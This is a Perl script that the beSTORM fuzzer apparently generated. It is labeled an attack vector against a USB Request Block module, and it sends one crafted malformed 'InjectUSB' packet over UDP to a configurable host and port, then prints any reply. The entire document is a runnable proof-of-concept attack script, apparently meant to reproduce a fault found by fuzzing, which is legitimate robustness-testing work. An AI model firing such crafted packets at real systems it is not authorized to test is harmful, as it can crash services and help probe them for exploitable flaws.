

```

#!/usr/bin/perl
# Automatically generated by beSTORM (tm) version 6.3.31 ( 6617 )
# Copyright Beyond Security (c) 2003-2016

# Attack vector:
#
M0:P0:B0.BT0:B0.BT0:B0.BT0.L0.L0:B0.BT0.L0.L0:B0.BT0.L0.L0:B0.BT0.L0.L0:B0.BT0.L0.L0:B0.BT0.L0.L0:B1
.BT2
# Module:
# USB Request Block

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT} = \&abort;

my $host = '127.0.0.1';
my $port = 1521;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
    usage()
}

$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => 'Send',
Data =>
"InjectUSB\x06\x04Data\x00\x00\x0BRequestType\x00\x01\x80\x07Request\x00\x01\x06\x05Index\x00\x01\x00\x06L
ength\x00\x02\x00\x06\x05Value\x00\x02AA"},
);

###
# End user configurable part
###

#1. Create a new connection
my $sock = new IO::Socket::INET (

```

```

PeerAddr => $host,
PeerPort => $port,
Proto => $proto,
Type => $sockType,
Timeout => $timeout,
)
or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;

#2. communication part

foreach my $command (@commands)
{
if ($command->{'Command'} eq 'Receive') {
my $buf = receive($sock, $timeout);
if (length $buf) {
print "received: [$buf]\n";
}
}
elsif ($command->{'Command'} eq 'Send') {
print "sending: [".$command->{'Data'}."] \n";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
}
}

#3. Close connection
close ($sock);

#The end

sub receive
{
my $sock = shift;
my $timeout = shift;

my $tmpbuf;
my $buf = "";

while(1)
{ # Example from perldoc -f alarm
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm $timeout;

my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
if ( !defined $ret or $ret == 0 ) { #EOF
die "timeout\n";
}

alarm 0;

```

```
$buf .= $tmpbuf;
};
if ($@) { #time out
if($@ eq "timeout\n") {
last;
}
else {
die "receive aborted\n";
}
}
} #while
return $buf;
}
```

```
sub abort
{
print "aborting...\n";
if ($sock)
{
close $sock;
}
die "User aborted operation\n";
}
```

```
sub usage
{
print "usage: $0 [-hHPt]\n";
print "-h\t: this help message\n";
print "-H\t: override default host - $host\n";
print "-P\t: override default port - $port\n";
print "-t\t: set socket timeout in seconds\n";
exit 0;
}
```